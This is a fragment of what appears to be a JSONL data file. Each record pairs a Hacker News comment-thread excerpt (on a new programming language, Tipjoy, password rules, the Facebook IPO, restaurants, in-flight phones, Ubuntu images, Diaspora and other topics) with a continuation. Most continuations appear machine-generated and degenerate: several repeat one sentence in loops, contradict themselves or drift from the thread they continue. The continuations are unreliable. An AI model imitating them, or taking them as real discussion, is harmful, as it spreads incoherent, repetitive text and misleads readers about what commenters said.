who would be very well \"over the hill.\" Top-\ntier school. There's motivation for ya.\n\nOf course, it could be an exception, but I'm sure admission was granted\nwithout respect to age. As far as I know though, luck was a big determining\nfactor, and as such, I would look at a lot of these things (particularly if\nyou aren't a monstrously strong candidate) very lightly.\n\n~~~\nplinkplonk\n\"I recently met a first year PhD who would be very well o\"ver the hill.\" Top-\ntier school. There's motivation for ya.\"\n\nHey Thanks!\n\n\"particularly if you aren't a monstrously strong candidate\"\n\nGood Point.\n\nA \"monstrously strong\" candidate is what I am trying to be. Hey if we ask\nstartup founders to be monstrously strong developers why not hold ourselves to\nthe same standards as grad students. The journey is very interesting, forcing\nme to evaluate my deficiencies as a candidate and get better constantly.\n\nA scientist I"} +{"output_text": ".\n[https://github.com/FBMachine/bon/blob/master/stdlib/cdef.py](https://github.com/FBMachine/bon/blob/master/stdlib/cdef.py)\n\nBon is a compiled language, but it is not a compiled language like C or C++.\nIt is a language that compiles to LLVM IR.\n\n~~~\nchrislopez\nThanks for the reply. I'm a", "input_text": "), memory Managrment,\npurpose (embedded, os, driver and application, ai library, CUDA, mobile app\netc.), library, platform, examples and q&a under stackoverflow etc.\n\n... wonder what is the point of learning a new one.\n\n------\nubertaco\nThis is really neat!\n\nI'm a big fan of Crystal-lang, and I dig the similarity in the sense of \"let's\nstart with Ruby-like syntax, and add more static structure\". I can see the\ndifference here as being that Bon appears to _behave_ more like Haskell or\nOCaml rather than like Ruby, which means that there's still a good niche here.\n\nI hope this neat language finds success!\n\n~~~\nFBMachine\nThanks, I really appreciate it!\n\n------\nchrislopez\nHow is memory managed? I'm assuming some form of garbage collection. So this\ncan be used in any instance C or C++ can? Can it use C and C++ libraries\nbecause it runs on clang?\n\nSorry if these are n00b questions. Bon seems like it could be a nice mix of\nthe wonderful syntax of a python or ruby, and the speed of a C or C++ (or at\nleast a compiled language)\n\n~~~\nFBMachine\nHi Chris, thanks for checking it out. The first code push for Bon was today,\nso many things are of course rough around the edges.\n\nMemory will be garbage collected, though I am aiming for zero-cost as much as\npossible. At the moment it just leaks memory like a sieve as I work out the\nsemantics.\n\nYou can indeed import standard c library calls by using a cdef. You can find\nexamples in the stdlib, e.g"} +{"output_text": " to elaborate on why you think they should?\n\n~~~\nivankirigin\nI think they should.\n\nI think it's a good idea to have a standard way to authenticate.\n\nI think it's a good idea to have a standard way to authorize.\n\nI think it's a good idea to have a standard way to authorize and authenticate.\n\nI think it's a good idea to have a standard way to authorize and authorize.\n\nI", "input_text": "/...](https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/DatesAndTimes/DatesAndTimes.html#//apple_ref/doc/uid/10000039-SW1)\n\n \n\nTipjoy (YC W08) now allows payments via Twitter - ivankirigin\nhttp://tipjoys2cents.blogspot.com/2008/12/tip-via-twitter.html\n\n======\nivankirigin\nI'm really excited about this because of where we can go with this.\n\nThe idea of a \"rtip\" or tip/retweet is the biggest innovation here. It's\nexactly how twitter is already used to disperse information, but adds a social\ngesture with monetary weight. That's pretty powerful. If you like a tweet,\njust say \"rtip $1 @username the awesome tweet\".\n\nLots of sites use Twitter credentials, and this means they can initiate\npayments. It also makes those payments inherently social, as they are\nbroadcasted - so in ways it is better than an OAuth system. But we're planning\nthat too.\n\nWe are also accepted new signups via twitter credentials\n\n\nWe're going to open this up to an API, meaning sites based on twitter\ncredentials can convert their whole user base to tipjoy users. I'm really\nlooking forward to see what can be done with these tools.\n\n~~~\nomakase\nThe potential for this idea is what got me excited the minute I saw your post.\n\nAs an aside, I think twitter still needs to release support for OAuth, there\nare too many sites out there storing twitter credentials in plain text right\nnow. Care"} +{"output_text": "/dumb-\npassword-rules](https://github.com/dumb-password-rules/dumb-password-rules)\n\n[2] [https://twitter.com/dumb_password_rules](https://twitter.com/dumb_password_rules)\n\n[3]\n[https://news.ycombinator.com/item?id=8958533](https://news.ycombinator.com/item?id", "input_text": " banks have suffered a serious\ncompromise leading to the loss of 9-figure plus amounts of money yet?\n\n~~~\nsyrrim\nBanks normally don't actually transfer any money. There's a funny story from\nthe 1920s of the Bank of England pushing money across the vault floor to\nindicate a transfer to France, who held an account with them. The money\ndoesn't actually go anywhere, it just says so on the balance sheet. If someone\n\"steals\" 1 billion dollars by making the system think they took it, someone\nwill eventually notice, then they'll send somebody down to the vault to push\nit back to the other side.\n\nBitcoin is very different: when the bitcoin blockchain says someone else has\nyour money, they have it. Imagine someone had heard that Ethereum had suffered\nno major attacks on exchanges, but hadn't heard of the DAO attack. They must\nthink that Ethereum is extremely secure. Actually, Ethereum is very insecure,\nbut a large enough target will get special treatment. Bitcoin doesn't have the\nsame tendency as Ethereum (and real life) towards hard forks, so of course it\nwill have more attacks on it. But this doesn't imply that anyone will hard\nfork when you get hacked, nor will the banks necessarily reverse the\ntransaction when someone guesses your password.\n\n------\nshanecoin\nI would argue that this is not just banks but a number of different services.\nThis entire Github repository [1] and this Twitter account [2] are dedicated\nto sites with dumb password rules. Passwords are not meant for humans.\n\nHere is a link to a hackernews thread discussing the worst of the requirements\nin the repository is here [3].\n\n[1] [https://github.com/dumb-password-rules"} +{"output_text": " non-standard situations.\n\n~~~\ntaf2\nI think it's a great idea. I think it would be a great way to help people\nwith disabilities.\n\n------\njoshstrange\nI'm not sure if this is a good idea or not but I'm curious if this is\nsomething that could be used to help people with disabilities. I'm not sure\nhow well it would work but I'm curious if it could be used to help people\nwith", "input_text": " a link, but I'd recommend you check it\nout.\n\n------\nmarkherhold\nThis is exactly what I need to quickly explain elements of my dashboards to\nnew users! Alternatively, this could let me explain new elements as they are\nadded over time. Perfect!\n\n~~~\nRafert\nBe aware of the licensing though. It was MIT but as of March 9 the license\nfile mentions having to purchase a license if used commercial. Seems\ncontradictory with \"to deal in the Software without restriction\" part of the\nMIT license text.\n\n~~~\nrloc\nRight, I didn't notice at first.\n[http://introjs.com/#commercial](http://introjs.com/#commercial)\n\nLooks like if you use it as part of a commercial product, you have to pay the\nlicense.\n\n~~~\nnathancahill\nWhich is only fair IMO, open source developers have to eat too!\n\n~~~\nafshinmeh\nah thanks God! :-)\n\n------\nsdneirf\nNeat! I was just looking for something like this. Good call out on the MIT\nlicense.\n\n------\ngreenimpala\nWrite an unintuitive UI and then plaster it with 'hints' \\- great!\n\n~~~\ntaf2\nUI is hard... takes a lot of iteration to get right and even then... hints\nhelp IMO\n\n~~~\nafshinmeh\nindeed.\n\n \nAsk HN: AI Sign Language translators - zunzun\nCan AI be made to translate between different sign language variants? I would think computerized avatars could easily be trained, and grant money for such projects should be easy to come by. Computerized vision should be able to read sign language - especially in specific,"} +{"output_text": " the ISP will be forced to become a dumb pipe and the internet will\nbe free.\n\n------\njimmywanger\nI'm not sure what the solution is.\n\nI think the solution is to make it so that the internet is a free market.\n\nThe internet is a free market because it's a network. It's a network because\nit's a bunch of computers connected together. It's a bunch of computers\nconnected together because it's a bunch of", "input_text": "ating, deplatforming, etc.. These are tactics that\nhurt. Hurt people hurt people. If people are allowed to be heard and\nsocialize, they gain happiness and are less likely to hurt people.\n\n------\nwuliwong\nThe conclusion of the article where it speaks about the consequences of de-\nplatforming people leading to 'counter measures' is what I'm thinking will\nhappen. In my opinion, the difference between government censorship and\ngodaddy censorship is that I can just stop using godaddy. Then I can either\nclose my business, use a different service, or try to help build something new\nto circumvent godaddy.\n\nI've been back and forth on distributed storage and blockchain in my mind but\nmy current thinking is that the recent de-platforming is going to hasten the\ndevelopment of alternate solutions that are more robust with regards to\ncensorship. I'm not even considering about whether it is right or wrong, I\njust think that's going to happen.\n\n------\njustaaron\nDespite all the handwringing here, there's no concrete proposal for what to do\nwith rent-seeking attention-seeking deliberatvely difficult individuals whom\none has no obligation to entertain the ideas of.\n\nIf I were NYU, I would simply never book Milo Whatever-his-name-is. Having to\ndeplatform him indicates that someone wanted to platform him in the first\nplace. Kick his useless ass to the curb/kerb, as the case may be.\n\n------\nsuperkuh\nAs long as the ISP stays as a dumb pipe there will always be alternatives.\nSelf hosting is the best hosting and these days ISP connections are definitely\nfast enough to host anyones' small personal site up to a medium size forum.\n\nHopefully"} +{"output_text": "ched the IPO and that the market was not prepared for it.\n\n~~~\njoshu\nI think you're right.\n\nI think the market was prepared for it, but the NASDAQ botched it.\n\n~~~\ndangero\nI think you're right too.\n\n------\njoshu\nI think the guy is right.\n\nI think the market was prepared for it, but the NASDAQ botched it.\n\n", "input_text": "'s trying to say that he feels like he shouldn't be there, a\npretender to the throne. Happens a lot when you are working class and join a\ndepartment/division that attracts people from more affluent families.\n\n------\ndangero\nI bought Facebook with a limit order when it went on sale to the general\npublic last Friday, and I can confirm it was a terrible experience. Here's\nbasically what happened:\n\nI put in a limit order through tdameritrade the night before with a max price\nof $44. I'm in front of the computer that morning to watch my order when the\nIPO starts. The price spikes up to 45, then treads around low 40s. I refresh\nmy account. My limit order has not gone through. I wait AN HOUR. Still, it has\nnot gone through so I cancel it. Now it says, \"Pending Cancellation.\" It\nremains \"Pending Cancellation\" for over an hour, so I try to call\ntdameritrade, but their lines are completely backed up with calls. Finally,\nthe system suddenly reports that my order was accepted and I bought Facebook\nat 42. It's only an hour from market close by the time I see this. What this\nmeant for me and most everyone else was that I was locked out of the market\nfor the first 2 hours after IPO and my assets were frozen. I could neither buy\nnor sell. I don't think we can really know what the impact of this was on the\nmarket, but it certainly didn't instill short term confidence in the Facebook\nIPO and I think it definitely decreased the volume on the stock.\n\nI'm not going to defend everything the guy said, but I do believe that NASDAQ\nbot"} +{"output_text": " all been around for a long time, and they are all very productive\ntools.\n\n~~~\nKingMachiavelli\nI agree, but I think the point is that they are all desktop applications.\n\n------\njedberg\nI'm not sure I understand the point of this.\n\nIf you're a developer, you're going to use a Mac. If you're a business\nmanager, you're going to use a Windows machine.\n\nIf you", "input_text": " Google Office.\n\n~~~\ndarkcha0s\nWhat kind of an assumption is this. Most people need an operating system they\nare comfortable doing their daily work, not just a browser and a notepad.\nJesus christ, not all non-devs work only in office.\n\n~~~\nKingMachiavelli\n> Most people need an operating system they are comfortable doing their daily\n> work.\n\nTrue, and Windows is very entrenched partly due to Office and legacy software\ndepending on it. Chromebooks and Mac OS seem to be adopted without to much\nhindrance from a UI perspective. i.e How much more populate would Chromebooks\nbe if they ran the full desktop Office suite?\n\n> not all non-devs work only in office.\n\nCertainly not all but a lot of jobs, particularly in management consist mostly\nof emails, meetings, spreadsheets, word documents + a few web apps.\n\nAlso, lets not forget about all the jobs where the computer isn't really part\nof the job at all; it's just a tool to communicate (email) and for document\nproduction/consumption. These machines are basically kiosks that Microsoft has\nmilking licenses out of for Windows + Office + 365 Storage.\n\nSome businesses can switch to Google but many rely on existing Excel\nspreadsheets elsewhere in their organization so there is a lot of momentum to\nswitch away from non-desktop spreadsheet and document applications.\n\n~~~\nClumsyPilot\nI disagree with this 'legacy software's moniker, all the most productive\nsoftware falls into this category.\n\nLook at the Autodesk Suite, Adobe Suite, Enterprise Architect, blender3D,\nUnity game engine, a traditional IDE like Jetbrains or VisualStudio.\n\nThey have"} +{"output_text": "~~~\ngeorgieporgie\nI've had In-n-Out's hamburgers, and they're not bad. But they're not great.\nThey're just good.\n\nI've also had a lot of good burgers at the Berkeley Bowl, and I've had a lot\nof good burgers at the local burger joint. But I've never had a better burger\nthan In-n-Out.\n\n------\njrockway\nI don't know", "input_text": " Hack:\n\nYou can order a side of bacon (4 strips) for about $3 or... order a Grand Slam\nBreakfast and make all 4 components be the bacon (2 strips each), giving you 8\nfor about $5, a saving of $0.125 per strip! Those savings sure add up during\nan all night coding/bacon tear.\n\n------\nAmericanOP\nNext time you're at Chipotle ask for half-and-half meat (e.g. half chicken\nhalf carne asada)- you usually wind up with way more protein than you normally\nwould since nobody wants to give you less than half a scoop (x2).\n\nI think I found my answer to the'successful hack of some (non-computer)\nsystem' question.\n\n~~~\ngeorgieporgie\nNow, _that_ could be considered a restaurant hack. Writing a blog post about\ndiscovering a well-documented'secret' (i.e. \"we want the general population\nto order quickly\") menu is not hacking. At all.\n\nAlso, I'm sorry to say that In-n-Out is simply not that good. There are\ncountless local, independents that serve a much better burger, and have a\nvariety of fresh, seasonal shakes.\n\n~~~\nrms\nI've found it to be true that In-n-Out isn't that good on an absolute scale,\nbut it's great for how cheap it is. I can definitely get a better grass fed\nbeef hamburger for $10 (or an even better one made from the ground lamb at the\nBerkeley Bowl for $8.99/pound) but haven't had a better _fast food_ burger\nthan In-n-Out.\n\n"} +{"output_text": " communication: we want to be able to explain our ideas and decisions\nto you, and to be able to explain them to our users. We want to be able to\nexplain the tradeoffs we\u2019re making, and why we\u2019re making them.\n\n\u25e6 A passion for learning: we want you to be excited about learning new things,\nand to be able to teach others. We want you to be able to explain your\nthoughts and ideas clearly, and to", "input_text": "estion infrastructure that manages all of our music, talk and podcast\ninfrastructure, encoding infrastructure as well as search and advanced catalog\nheuristics.\n\nData Science - Come work with our world class Data Science team on building\nthe future of music personalization. We are doing a ton of work with\ncollaborative filtering, matrix factorization, building neural networks with\nacoustical analysis and a ton of other new and exciting research.\n\n------\nRobin_Message\nFirefly Learning | Lead front-end developer, front and back end developers |\nLondon, UK | fireflylearning.com\n\nFirefly Learning is an award-winning EdTech company that works to bring\nteachers, parents and students together, enabling greater collaboration,\nintuitive workflows and rich resource creation, while saving teachers time.\nWe\u2019re used by hundreds of leading schools globally, including 8 of the top 10\nUK Independents, and we've just raised the largest every EdTech investment in\nthe UK.\n\nWe're looking for strengths like:\n\n\u25e6 Skill in web development: you\u2019ll have the skill to understand existing code\nand technical tradeoffs, and to help design new systems. You have a solid\nunderstanding of how web apps are built and how the whole stack from IP to\nReact fits together. You\u2019re aware of the state of the art of the industry, in\nthings such as the SOLID principles, the ports and adapters pattern, and the\nvarious agile methodologies.\n\n\u25e6 Balancing conflicting priorities: we want a product that is well engineered\nbut not over-engineered. We have existing bugs, a long feature list, and new\nprojects we\u2019d like to start. We have new technologies and techniques we want\nto make use of.\n\n\u25e6 Clear"} +{"output_text": " author's definition of \"success\" is.\n\nI've been in the restaurant business for a long time, and I've seen a lot of\nrestaurants fail. I've seen a lot of restaurants succeed.\n\nI've seen a lot of restaurants that were successful, fail.\n\nI've seen a lot of restaurants that were successful, fail, and then succeed\nagain.\n\nI've seen a lot of restaurants that were successful, fail, and then succeed\n", "input_text": " service (seating, waitering, etc)\n\nIf restaurants don't evolve they will die yes\n\n------\nz3t4\nI'm a big fan of Turkey and Greece home made food. Where I live, one such\nmeal, and if I bring the family, would cost up to 10% of my monthly salary as\nan engineer with 20 years of experience. The chef at the restaurant earn more\nthen I do.\n\n------\ndrawkbox\nInequality is a big problem.\n\nIn the meantime, retail and restaurants are going to have to come up with a\ntransportation system for their workers. Time to helicopter in the help...\nthen shuttle to where they need to go.\n\nUntil there are robots that can do the work either remotely run by\nchefs/cooks/retail or removed entirely, there needs to be better\ntransportation systems to allow people to live elsewhere and work in the\nmetro/city if the metro/city is unwilling to fix the rent/housing problems.\n\n------\nMikeb85\n> When I set out to open a restaurant in San Francisco\u2019s vibrant restaurant\n> market, I thought I\u2019d employ all I\u2019ve learned from an MBA from a top school,\n> the rigor of an engineering education and a decade and a half launching and\n> managing some of the most successful businesses for Google and other tech\n> companies. Furthermore, I wasn\u2019t naive to think that I knew better than all\n> those who\u2019ve been tenured in the industry. I actively sought out the\n> mentorship of many titans who\u2019ve been generous with their time and knowledge\n> of the industry. So I opened Tawla, a restaurant in San Francisco\u2019s Mission\n> district.\n\nI'm curious what the"} +{"output_text": " scale, the tracks are a lot more robust.\n\n------\njoshvm\nI'm not sure I'd trust a robot to do this. I'd be more inclined to use a\nrobot to dig a hole and then use a shovel to fill it in.\n\n~~~\njoshvm\nI'm not sure I'd trust a robot to do this. I'd be more inclined to use a\nrobot to dig a hole and then use a shovel to fill it", "input_text": " Just use them on a couple of them to see how it operates.\n\n------\ntantalor\nHow well does this do on slopes?\n\n~~~\nneogodless\nFrom the product web site:\n\nWill Tertill get stuck?\n\nTertill uses four-wheel-drive. This helps Tertill move through soft soil,\nsand, and mulch, and also helps Tertill climb slopes. Its distinctive diagonal\nwheels make Tertill more stable on slopes and help it get past certain terrain\nchallenges. Tertill relies on several sensors and clever programming to keep\nout of trouble. To detect objects like the garden fence and big plants,\nTertill uses sensors similar to those found in many smart phones\u2014the lightest\ntouch is all it takes. To detect steep slopes, Tertill uses the same sort of\nsensor that tells your cell phone which way is up. Tertill can also sense if a\nmotor stops turning\u2014perhaps jammed by a rock\u2014so it can protect itself from\ndamage.\n\n~~~\nbluedino\nYou'd think it woudl use tank tracks\n\n~~~\ncr0sh\nTank tracks have problems at a small scale that aren't immediately apparent at\nfull scale.\n\nThe big one - especially for something \"in the dirt\" \\- is dirt/mud getting\nbetween the tracks and ground wheels/idlers. This can easily stop the drive\nsystem, requiring user maintenance. Then there's the issue with water rusting\nparts (shafts, screws, etc). Also, more moving parts equal more things to\nbreak. Finally, on a small scale, tracks have a tendency to be easily \"thrown\"\nfrom the wheels depending on how turning is accomplished and the terrain.\n\nOn a full"} +{"output_text": "\n,\n,\n,\n,\nPart D - Finally - I'm interested in any of you people who can see BOTH sides of the coin. If you started off as a programmer and then learned how to make stuff sexy and usable - what put you on that path? Where did you start learning? What were your major obstacles, and how did you overcome them?

Looking forward to hearing what everyone has to say.

Dan\n======\nolalonde\nI am myself a professional programmer that has some basic design skills, but\nI'll try to answer your question as well as I can.\n\nA - I'm pretty sure most people design the UX/UI before they start coding (at\nleast mock ups). If you have already coded all your backend, you might feel\nconstrained when designing the UI or might realize too late that you oversaw\nsome critical parts of your system. Let me illustrate:\n\nLet's say you are building a \"C.V. builder app\". You might start coding with\nthe assumption that the user has to be login to start building his C.V.\nHowever, if you imagine the UX first, you might realize that it would be nice\nto ask the user to register only once he wants to save his newly created C.V.\nThat simple detail might have a huge impact on your code base.\n\nB - Some resources & inspiration: ,"} +{"output_text": "'s like saying \"I'm going to use a game to send a message to my friend\".\n\n~~~\nnvrspyx\nI think the point is that the game is a way to get the brain to learn to\ncommunicate with the computer.\n\n~~~\nd--b\nI don't think so. The brain is not a computer.\n\n~~~\nnvrspyx\nI think you're right. I think the point is that the brain is a computer", "input_text": " correspondence, you can position any other objects relative\nto either one, like surgical instruments with reflective markers or TMS\nsystems or whatever.\n\n~~~\nnvrspyx\nLooking at it again, you\u2019re right. That isn\u2019t Localite. I should\u2019ve said\nlocalization system instead. I\u2019m not familiar with Brainsight and I haven\u2019t\nbeen involved with the research using Localite in a couple of years, so I\nmissed that.\n\n------\nstupidcar\nThe Neuralink presentation a few days ago made the important point that the\nphysics of neurons makes it impossible to read and/or write their state with\nany kind of accuracy without getting very, very close to them.\n\nAs such, these kinds of completely non-invasive methods of interfacing with\nthe brain are a dead end. Barring breakthroughs in scanning technologies that\ncompletely upend basic laws of physics, you will always be limited to a low-\nbandwidth channel that only works by reading the crude, aggregate state of the\nwhole brain or a large area of it, and requires extensive training for\nparticipants to learn how to send basic signals.\n\nSince the limits here are hard physical ones, not ones that can be engineered\naround, there's no way for this to be gradually refined into a more useful\nsystem. It will ways be a hack. If we're going to produce high-bandwidth\nbrain-machine / brain-machine-brain interfaces that allow useful\ncollaboration, it's going to require getting inside the skull and getting up\nclose and personal with brain matter, whether we like it or not.\n\n------\nd--b\nThis is a little weird. Why would you use a Tetris like game for this? There\nis only one bit sent.\n\nIt"} +{"output_text": "aming fees.\n\n~~~\njrockway\n_I don't really see how using a 3G/LTE on the plane will be any better, if it's\nstill relying on the (presumably small, low powered) equipment on the plane\nand a satellite connection._\n\nIt's not. It's just a different way of getting the same thing.\n\n~~~\nwjoe\nI'm not sure I follow.\n\nThe 3G/LTE", "input_text": " the winning team.\n\n------\ngeorgecmu\nI would be perfectly happy with in-flight phone calls being expressly\nprohibited without any technical justification. Can you imagine being forced\nto spend 6 or more hours next to someone with a bad case of glossolalia?\n\n~~~\nnlh\nI have a feeling that enough people agree with you on this that regardless of\nthe legal / regulatory situation, a social framework is going to emerge that\npretty strongly discourages talking on the phone on a plane.\n\nEven today, if you talk for too long or too loudly on an Amtrak train or a\npublic bus, you'll get some pretty strong death stares from other passengers.\nMany will come right out and tell you to shut up.\n\nIf the rules fail us, peer pressure will step up :)\n\n------\nwjoe\nI'm not really sure how 3G/LTE is better than WiFi, at least in technology\nterms.\n\nI've had WiFi on one flight in Europe (London to Oslo with Norwegian\nAirlines), it was free to use for everyone on the flight. It was very slow and\nunreliable though, and I spent half of the hour long flight just trying to get\nthings to load, unsure if certain ports/sites were blocked or if it was just\nbeing slow.\n\nThat said, this problem is presumably from the connection between the WiFi\naccess point on the plane and the satellites. I don't really see how using a\n3G/LTE on the plane will be any better, if it's still relying on the\n(presumably small, low powered) equipment on the plane and a satellite\nconnection.\n\nSo I'm not convinced that this is an improvement over in flight WiFi, besides\na way for carriers to extract more ro"} +{"output_text": "-server-cloudimg-amd64.img\n virt-resize: /dev/sda1: cannot expand to a size of 2.2G\n \n\nI have tried to use the --force option, but that does not work either.\n\nI have also tried to use the --force-mbr option, but that does not work either.\n\nI have also tried to use the --force-gpt option, but that does not work either.", "input_text": " for example. _sigh_\n\n------\nKingEllis\nI have feedback on the Ubuntu 18.04 LTS Cloud Image that I am hoping reaches\nthe right ears.\n\nThere is something about the way the disk is partitioned that makes the use of\nvirt-resize no longer work (as it does for 16.04).\n\nSpecifically, I am referring to: [https://cloud-\nimages.ubuntu.com/bionic/20180124/bionic-serve...](https://cloud-\nimages.ubuntu.com/bionic/20180124/bionic-server-cloudimg-amd64.img)\n\nThe boot partion looks to be sda14 or sda15. But judging from the output of\nvirt-resize, it appears that although these are sda14/15, they appear in front\nof sda1. (When virt-resize is run on sda1, sda14 becomes sda1, sda15 becomes\nsda2, and sda1 is now the resized sda3, and grub is confused.\n\n \n \n $ virt-filesystems --long --parts --blkdevs -h -a bionic-server-cloudimg-amd64.img \n Name Type MBR Size Parent\n /dev/sda1 partition - 2.1G /dev/sda\n /dev/sda14 partition - 4.0M /dev/sda\n /dev/sda15 partition - 106M /dev/sda\n /dev/sda device - 2.2G -\n \n $ virt-resize --expand /dev/sda1 bionic"} +{"output_text": " has a price drop after release.\n\n~~~\nminimaxir\nI'm not sure if you're being sarcastic or not, but the price drop was\n_extremely_ rapid.\n\n~~~\nbhouston\nI am not being sarcastic. I am being serious.\n\n------\njameshart\nI think the author is right to be concerned about the future of the AAA\nindustry.\n\nI think the author is wrong to be concerned about the", "input_text": " talk about whether he has gone the\nright way). AAA development gets you some nice things (God Only Knows sung by\na barbershop quartet, for example) but comes with its own set of restrictions\n(you have to go for mass appeal) and when you want to make something smaller\nand more focused that doesn\u2019t appeal to everyone then there\u2019s lots to be said\nfor getting smaller.\n\n(During the last few years we have seen the middle fall out from game\ndevelopment, with mid-sized developers and publishers going under. It seems\nthat this gap is now filled from the bottom and the top, with former AAA\ndevelopers scaling down and successful indie developers \u2013 Jonathan Blow with\nThe Witness, Mike Bithell with Volume, \u2026 \u2013 scaling up.)\n\nThere is whole diverse and crazy world below AAA titles. Some of those games\nare awful, but some are awesome. There is lots that can be done. And lots of\ncool things that are done.\n\nWhy would you think of Candy Crush first? Especially the mention of the\nnarrative focus makes me think of many excellent (and successful!) recent\nindie titles that also had a strong narrative focus: Stanley Parable, Gone\nHome, Kentucky Route Zero, \u2026\n\nIt seems to me that Ken Levine has something like that in mind plus his own\ngame mechanics twist (the highly repayable part, whatever that means),\ncertainly not some free to play mobile only bullshit.\n\n------\nminimaxir\nThis is likely correlated with the absurd sales Bioshock Infinite received\nafter release. (Down from $60 to $20 less than 6 months after release). They\nprobably needed money.\n\n~~~\nbhouston\nRE: Quick price drop over 6 months.\n\nI think every game"} +{"output_text": "\n~~~\ndreish\nI don't know what you're talking about.\n\n~~~\nhbien\nI'm talking about the article.\n\n~~~\ndreish\nI don't know what you're talking about.\n\n~~~\nhbien\nI'm talking about the article.\n\n~~~\ndreish\nI don't know what you're talking about.\n\n~~~\nhbien\nI'm talking about the article.\n\n~~~\nd", "input_text": " of programs and services accept them. To say just\nhitting 'Alt Gr' can prevent any password breaker, I thought it was a pretty\ngood safety measure.\n\n------\nmynameishere\nIt's better to use 123456 at unimportant sites than re-using your e-trade\npassword. Simple good sense.\n\n------\nGeneralMaximus\nI have recently started generating all my passwords using a Markov chain\nscript I wrote in Python. They're much more secure and, since they sound very\nsimilar to English words, easier to remember than, say, &&364e7forty-two88()l.\n\n~~~\nquizbiz\nI started writing words backwards (among other things). Not as secure but I\ndon't hit myself when cookies expire.\n\n~~~\ndkokelley\nI've been a fan of geometric shapes on the keyboard and number pad.\n\n~~~\nbd\nI knew a guy that didn't even know his password explicitly, all was just a\npattern of finger movements stored in muscle memory.\n\n------\ntvchurch\n\"Don't forget God. System operators love to use God. It's that whole male ego\nthing.\"\n\n~~~\ndjahng\nHaha Hackers...and when you break into a computer system it goes all 3-D too\nright?\n\n------\nsnprbob86\nWhy aren't these sites storing salted hashes? Plain text passwords are bad\nnews...\n\n~~~\ndreish\nWhere did you get that impression? Not from the linked-to article, from my\nreading of it.\n\n~~~\nhbien\nIf a site is storing hashed passwords with salts, you generally don't know\nwhat the user's password is and you can't unhash them to find out.\n"} +{"output_text": "where people can be friends with people from all over the world, and where\npeople can be friends with people from their own country.\n\n~~~\njamesbritt\n\"I'd like to see a social network where a true \"global\" community can be\nformed, where people can be friends with people from all over the world, and\nwhere people can be friends with people from their own country.\"\n\nI'd like to see a social network where I can be friends with", "input_text": "Twitter.\n\n------\nStavrosK\nAs I said before, my only interaction with them is an email I sent them a\nwhile ago (more than a year ago), advising them to seize the opportunity to\ncreate a p2p framework for social applications to be built on top on, taking\ncare of permissions, friendlists, authentication, etc under the hood to allow\ndevelopers to build the fun stuff on top of that.\n\nThe response I got, six months later, was to the effect of a brief \"thank you\nfor your email, answers to some of your questions can be found in the FAQ\".\n\n~~~\nphilipn\nI think you are being way too harsh here. They obviously get a lot of emails,\nand they're being pulled in a lot of different directions (\"distributed social\nnetworking!\", \"privacy!\", \"a drop-in facebook replacement!\")\n\nMaybe they won't amount to much, but criticising them because they didn't\nrespond to your email is not fair.\n\n~~~\nStavrosK\nI'm not criticising the project, just detailing my account. I just wish they\nactually read my email, at least...\n\n------\nperfunctory\nWhat an abstract collection of words. This post doesn't contain a single\ntangible sentence.\n\n\"We are working on an outline of what we have learnt so far, and where we see\nDiaspora going in the next year.\"\n\nRight.\n\n------\nnextparadigms\nThey should take a look at how BitTorrent is trying to build a P2P social\nnetwork. Maybe they could get a few ideas from there and implement them. I'd\nlike to see a social network where a true \"global\" community can be formed,\n"} +{"output_text": "intended) problem, so we're going to do something about it.\"\n\n------\njhall1468\nI'm not sure if this is a good thing or not. I'm not sure if it's a good\nthing for the company, or the customers.\n\nI'm not sure if it's a good thing for the customers, because they are\nessentially being told that they can't do what they want, and that they have\nto do what the company wants", "input_text": " is just an\nissue because at the moment these kinds of home automation are per-dominantly\n\"nerd\" territory while e-book readers are already mainstream.\n\n~~~\nfastball\nWhere is this magical place where I can find free hardware?\n\n~~~\nstefs\nTo understand the concept, you should think of \u201cfree\u201d as in \u201cfree speech,\u201d not\nas in \u201cfree beer\u201d.\n\n~~~\numanwizard\nGP's point still stands. Open hardware is very rare.\n\n------\nsismoc\nI won't be so quick to \"roll-back\" my decision to boycott their products.\n\n~~~\ngnulnx\nHey, give them some credit. They listened to their customers and responded\nvery quickly.\n\n~~~\nsspiff\nExactly this. Their management / decision makers aren't familiar with the\nhacker mindset, but they responded to public criticism quickly by acquiescing\nto the demands. I don't so anything bad about this.\n\nThey mad a public about face, admitting that their decision was not the right\none for their audience, and changed it. That's not easy to do for most people,\nlet alone companies.\n\n~~~\nlightbritefight\nThey didnt really admit the decision was bad for the audience. They said\n\"well, we were just looking out for you, and highly recommend you doing what\nwe want, but I guess you can do that too, but you shouldnt.\"\n\nThe tone is very much \"we did nothing wrong.\" I don't expect more, but I was\nhoping for it.\n\n~~~\njhall1468\nI disagree. The tone was more akin to \"This really doesn't impact _a lot_ of\nour customers, but the customers it did impact caused a significant\n(un"} +{"output_text": " I see with this is that it's a very narrow view of what\nsoftware development is.\n\nI've been in the industry for over a decade and I've seen a lot of people\ncome and go. I've seen people who are very good at writing code, but they\ndon't know how to design a system. I've seen people who are very good at\ndesigning a system, but they don't know how to write code. I've seen people\nwho are", "input_text": " writing CRUD-like code.\n\nWe (as in, Headlight) deal with a lot of bootcamp grads and people who are\nentering tech later in life (which for tech, means 25+). It's shocking the\nnumber of them who are insanely adept at software development for the amount\nof experience they have and are completely overlooked because of any of the\nfollowing:\n\n* Their pedigree\n\n* Their experience given their age\n\n* Their program's focus on practical software development and not on more academic topics\n\nIt's really mind-boggling. It's great for us, because it's a totally\nunappreciated and under-served market. Still, I can't imagine how frustrating\nit is for those candidates. We're still new, but so far our clients'\nsatisfaction with our candidates has been nothing short of enthusiastically\npositive.\n\nAll that to say, you should really consider adjusting your hiring expectations\ndrastically. You're building a house. Why are you trying to hire a civil\nengineer, and not a contractor?\n\n~~~\ndavio\nMost corporate dev jobs can be effectively handled by someone who can reliably\nshow up and pull words from a database and display them on a screen.\n\n~~~\nmushishi\nYes but it's mind-boggling how complex you can get quite a straightforward\nsystem by just piling new requirement changes on top of old without\nmaintaining proper data-model in application, even if database is fine-ish,\nthis results in a monster that slows down the system and the development\nspeed.\n\nSo in principle, a lot of people can do it but only some do it while not\nmaking things more difficult for the next person.\n\n------\ndocker_up\nThe problem that"} +{"output_text": " think of any other language that would be better for\ngetting a game off the ground.\n\n~~~\ndoppp\nThanks for the link! I'll have a look at it.\n\n------\njosteink\nI'm still waiting for the day when I can use Rust for real world projects.\n\n~~~\nsteveklabnik\nI'm not sure what you mean. Rust is used in production at Mozilla, and is\nbeing used in production at Google.", "input_text": " book from the main repository and use rust-lang/book as the new\n> official source, it's not totally clear yet 